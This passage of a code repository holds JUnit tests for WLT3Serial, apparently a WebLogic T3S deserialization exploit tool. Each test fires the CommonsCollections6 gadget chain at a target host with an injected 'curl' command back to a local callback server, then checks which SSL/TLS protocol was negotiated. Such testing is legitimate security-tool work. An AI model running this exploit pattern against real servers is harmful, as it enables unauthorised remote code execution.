only SSLv3!",1,prots.length); 76 | Assert.assertEquals(prots[0]+" enabled rather than SSLv3","SSLv3",prots[0]); 77 | 78 | //attempt to close SSLSocket, ignore any errors 79 | try { 80 | sslSock.close(); 81 | } catch (Exception e) { 82 | //don't care 83 | } 84 | } 85 | } 86 | 87 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/ssltls/TLSv11Test.java: -------------------------------------------------------------------------------- 1 | /* 2 | TLSv11Test.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial communicates via T3S with TLSv1.1 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.ssltls; 10 | 11 | import java.io.IOException; 12 | import java.net.Socket; 13 | import javax.net.ssl.SSLSocket; 14 | import javax.net.ssl.SSLSocketFactory; 15 | 16 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 17 | import bort.millipede.wlt3.tests.WebServerTestHelper; 18 | import org.junit.Assert; 19 | import org.junit.Test; 20 | import org.junit.Before; 21 | import org.junit.After; 22 | 23 | public class TLSv11Test { 24 | WebServerTestHelper ws; 25 | 26 | @Before 27 | public void setUp() throws IOException { 28 | try { 29 | ws = new WebServerTestHelper(); 30 | } catch(IOException ioe) { 31 | throw new IOException("Embedded web server component failed to start!",ioe); 32 | } catch(Exception e) { 33 | throw e; 34 | } 35 | } 36 | 37 | @After 38 | public void tearDown() { 39 | try { 40 | ws.stop(); 41 | } catch(Exception e) { 42 | //don't care 43 | } 44 | } 45 | 46 | @Test 47 | public void testAssertUsingTLSv11() { 48 | //check input properties and run exploit 49 | WLT3SerialTestHelper.checkTargetParams(); 50 | String host = System.getProperty("wlt3.target.host"); 51 | String strPort = System.getProperty("wlt3.target.t3s.port"); 52 | String path = ws.createContext(); 53 | WLT3SerialTestHelper.runExploit("--t3s=TLSv1.1",null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 54 | 55 | //create socket for retrieving SSLSocketFactory 56 | int port = Integer.parseInt(strPort); 57 | Socket sock = null; 58 | try { 59 | sock = new Socket(host,port); 60 | } catch (Exception e) { 61 | throw new AssertionError("Error connecting to "+host+":"+strPort+"!"); 62 | } 63 | SSLSocketFactory defaultFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 64 | 65 | //create SSLSocket and retrieve enabled protocol(s) 66 | SSLSocket sslSock = null; 67 | try { 68 | sslSock = (SSLSocket) defaultFactory.createSocket(sock,host,port,true); 69 | } catch (Exception e) { 70 | throw new AssertionError("Error connecting to "+host+":"+strPort+"via SSL/TLS!"); 71 | } 72 | String[] prots = sslSock.getEnabledProtocols(); 73 | 74 | //Assert that only 1 SSL/TLS protocol is enabled and that it is TLSv1.1 75 | Assert.assertEquals("Multiple SSL/TLS protocols enabled instead of only TLSv1.1!",1,prots.length); 76 | Assert.assertEquals(prots[0]+" enabled rather than TLSv1.1","TLSv1.1",prots[0]); 77 | 78 | //attempt to close SSLSocket, ignore any errors 79 | try { 80 | sslSock.close(); 81 | } catch (Exception e) { 82 | //don't care 83 | } 84 | } 85 | } 86 | 87 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/ssltls/TLSv12Test.java: -------------------------------------------------------------------------------- 1 | /* 2 | TLSv12Test.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial communicates via T3S with TLSv1.2 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.ssltls; 10 | 11 | import java.io.IOException; 12 | import java.net.Socket; 13 | import javax.net.ssl.SSLSocket; 14 | import javax.net.ssl.SSLSocketFactory; 15 | 16 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 17 | import bort.millipede.wlt3.tests.WebServerTestHelper; 18 | import org.junit.Assert; 19 | import org.junit.Test; 20 | import org.junit.Before; 21 | import org.junit.After; 22 | 23 | public class TLSv12Test { 24 | WebServerTestHelper ws; 25 | 26 | @Before 27 | public void setUp() throws IOException { 28 | try { 29 | ws = new WebServerTestHelper(); 30 | } catch(IOException ioe) { 31 | throw new IOException("Embedded web server component failed to start!",ioe); 32 | } catch(Exception e) { 33 | throw e; 34 | } 35 | } 36 | 37 | @After 38 | public void tearDown() { 39 | try { 40 | ws.stop(); 41 | } catch(Exception e) { 42 | //don't care 43 | } 44 | } 45 | 46 | @Test 47 | public void testAssertUsingTLSv12() { 48 | //check input properties and run exploit 49 | WLT3SerialTestHelper.checkTargetParams(); 50 | String host = System.getProperty("wlt3.target.host"); 51 | String strPort = System.getProperty("wlt3.target.t3s.port"); 52 | String path = ws.createContext(); 53 | WLT3SerialTestHelper.runExploit("--t3s=TLSv1.2",null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 54 | 55 | //create socket for retrieving SSLSocketFactory 56 | int port = Integer.parseInt(strPort); 57 | Socket sock = null; 58 | try { 59 | sock = new Socket(host,port); 60 | } catch (Exception e) { 61 | throw new AssertionError("Error connecting to "+host+":"+strPort+"!"); 62 | } 63 | SSLSocketFactory defaultFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 64 | 65 | //create SSLSocket and retrieve enabled protocol(s) 66 | SSLSocket sslSock = null; 67 | try { 68 | sslSock = (SSLSocket) defaultFactory.createSocket(sock,host,port,true); 69 | } catch (Exception e) { 70 | throw new AssertionError("Error connecting to "+host+":"+strPort+"via SSL/TLS!"); 71 | } 72 | String[] prots = sslSock.getEnabledProtocols(); 73 | 74 | //Assert that only 1 SSL/TLS protocol is enabled and that it is TLSv1.2 75 | Assert.assertEquals("Multiple SSL/TLS protocols enabled instead of only TLSv1.2!",1,prots.length); 76 | Assert.assertEquals(prots[0]+" enabled rather than TLSv1.2","TLSv1.2",prots[0]); 77 | 78 | //attempt to close SSLSocket, ignore any errors 79 | try { 80 | sslSock.close(); 81 | } catch (Exception e) { 82 | //don't care 83 | } 84 | } 85 | } 86 | 87 | -------------------------------------------------------------------------------- /tests/bort/millipede/wlt3/tests/ssltls/TLSv1Test.java: -------------------------------------------------------------------------------- 1 | /* 2 | TLSv1Test.java 3 | 4 | v0.4 (10/23/2018) 5 | 6 | Test to ensure WLT3Serial communicates via T3S with TLSv1 7 | */ 8 | 9 | package bort.millipede.wlt3.tests.ssltls; 10 | 11 | import java.io.IOException; 12 | import java.net.Socket; 13 | import javax.net.ssl.SSLSocket; 14 | import javax.net.ssl.SSLSocketFactory; 15 | 16 | import bort.millipede.wlt3.tests.WLT3SerialTestHelper; 17 | import bort.millipede.wlt3.tests.WebServerTestHelper; 18 | import org.junit.Assert; 19 | import org.junit.Test; 20 | import org.junit.Before; 21 | import org.junit.After; 22 | 23 | public class TLSv1Test { 24 | WebServerTestHelper ws; 25 | 26 | @Before 27 | public void setUp() throws IOException { 28 | try { 29 | ws = new WebServerTestHelper(); 30 | } catch(IOException ioe) { 31 | throw new IOException("Embedded web server component failed to start!",ioe); 32 | } catch(Exception e) { 33 | throw e; 34 | } 35 | } 36 | 37 | @After 38 | public void tearDown() { 39 | try { 40 | ws.stop(); 41 | } catch(Exception e) { 42 | //don't care 43 | } 44 | } 45 | 46 | @Test 47 | public void testAssertUsingTLSv1() { 48 | //check input properties and run exploit 49 | WLT3SerialTestHelper.checkTargetParams(); 50 | String host = System.getProperty("wlt3.target.host"); 51 | String strPort = System.getProperty("wlt3.target.t3s.port"); 52 | String path = ws.createContext(); 53 | WLT3SerialTestHelper.runExploit("--t3s=TLSv1",null,"CommonsCollections6","curl http://"+System.getProperty("localhost.ip")+":"+Integer.toString(ws.getPort())+"/"+path); 54 | 55 | //create socket for retrieving SSLSocketFactory 56 | int port = Integer.parseInt(strPort); 57 | Socket sock = null; 58 | try { 59 | sock = new Socket(host,port); 60 | } catch (Exception e) { 61 | throw new AssertionError("Error connecting to "+host+":"+strPort+"!"); 62 | } 63 | SSLSocketFactory defaultFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); 64 | 65 | //create SSLSocket and retrieve enabled protocol(s) 66 | SSLSocket sslSock = null; 67 | try { 68 | sslSock = (SSLSocket) defaultFactory.createSocket(sock,host,port,true); 69 | } catch (Exception e) { 70 | throw new AssertionError("Error connecting to "+host+":"+strPort+"via SSL/TLS!"); 71 | } 72 | String[] prots = sslSock.getEnabledProtocols(); 73 | 74 | //Assert that only 1 SSL/TLS protocol is enabled and that it is TLSv1 75 | Assert.assertEquals("Multiple SSL/TLS protocols enabled instead of only TLSv1!",1,prots.length); 76 | Assert.assertEquals(prots[0]+" enabled rather than TLSv1","TLSv1",prots[0]); 77 | 78 | //attempt to close SSLSocket, ignore any errors 79 | try { 80 | sslSock.close(); 81 | } catch (Exception e) { 82 | //don't care 83 | } 84 | } 85 | } 86 | 87 | --------------------------------------------------------------------------------